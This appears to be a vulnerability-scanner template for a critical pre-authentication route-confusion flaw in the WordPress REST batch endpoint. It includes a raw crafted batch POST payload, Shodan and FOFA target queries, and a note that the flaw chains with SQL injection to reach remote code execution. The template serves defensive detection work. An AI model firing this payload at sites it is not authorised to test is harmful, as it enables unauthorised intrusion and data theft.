WordPress core versions 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1 are vulnerable to a pre-authentication route confusion issue in the REST API batch endpoint (/?rest_route=/batch/v1). A malformed nested batch request desynchronizes the batch router, allowing unauthenticated requests to reach unintended REST API handlers and bypass authorization checks. This route confusion can be chained with a SQL injection flaw (CVE-2026-60137) in the author_exclude parameter to extract database contents and ultimately achieve remote code execution. This template safely detects the vulnerable handler state via the route confusion behavior alone, without executing SQL or relying on response timing.
PoC
id: CVE-2026-63030
info:
name: WordPress Core 6.9-7.0.1 - Pre-Auth Batch-Route Confusion
author: slcyber,mielverkerken,pdteam,flx-0x00
severity: critical
description: |
WordPress core versions 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1 are vulnerable to a pre-authentication route confusion issue in the REST API batch endpoint (/?rest_route=/batch/v1). A malformed nested batch request desynchronizes the batch router, allowing unauthenticated requests to reach unintended REST API handlers and bypass authorization checks. This route confusion can be chained with a SQL injection flaw (CVE-2026-60137) in the author_exclude parameter to extract database contents and ultimately achieve remote code execution. This template safely detects the vulnerable handler state via the route confusion behavior alone, without executing SQL or relying on response timing.
impact: |
The route confusion allows unauthenticated requests to reach REST API handlers they should not be able to access. When chained with the associated SQL injection, an unauthenticated attacker can read the entire WordPress database (including user credential hashes) and escalate to full site compromise and remote code execution.
remediation: |
Update WordPress immediately to version 6.9.5 or 7.0.2. As a temporary mitigation, block POST requests to /wp-json/batch/v1 and /?rest_route=/batch/v1 at the WAF or reverse proxy level.
reference:
- https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q
- https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf
- https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core
- https://www.aikido.dev/blog/unauthenticated-rce-in-wordpress-wp2shell
- https://wordpress.org/news/2026/07/wordpress-7-0-2-release/
- https://github.com/sergiointel/wp2shell-poc/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-63030
epss-score: 0.97271
epss-percentile: 0.99892
cwe-id: CWE-287
metadata:
verified: true
max-request: 2
vendor: wordpress
product: wordpress
framework: wordpress
shodan-query: http.component:"wordpress"
fofa-query: app="WordPress"
tags: cve,cve2026,wordpress,wp-core,preauth,batch-api,route-confusion,vkev,kev
flow: http(1) && http(2)
http:
# Step 1: Confirm the target is a WordPress site before probing the batch endpoint
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: dsl
dsl:
- 'contains(body, "wp-content") || contains(body, "wp-includes") || contains(tolower(header), "rest_route") || contains(tolower(header), "wp-json")'
internal: true
# Step 2: Safe route-confusion detection (no SQL execution, no timing oracle)
- raw:
- |
POST /?rest_route=/batch/v1 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"requests":[{"method":"POST","path":"///"},{"method":"POST","path":"/wp/v2/posts"},{"method":"POST","path":"/wp/v2/block-renderer/core/archives"},{"method":"POST","path":"/batch/v1","body":{"requests":[]}}]}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "parse_path_failed"
- "block_cannot_read"
- "rest_batch_not_allowed"
condition: and
- type: word
part: content_type
words:
- "application/json"
- type: status
status:
- 207
# digest: 4a0a0047304502201e65a1e95378d1abd9111d142b3f531ecaa8655de39ae1e0226b720bd801e34e022100e736ba42beb067ab66778f7d6c3a3d614849cc15ee18504af1dec26dc6e63543:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.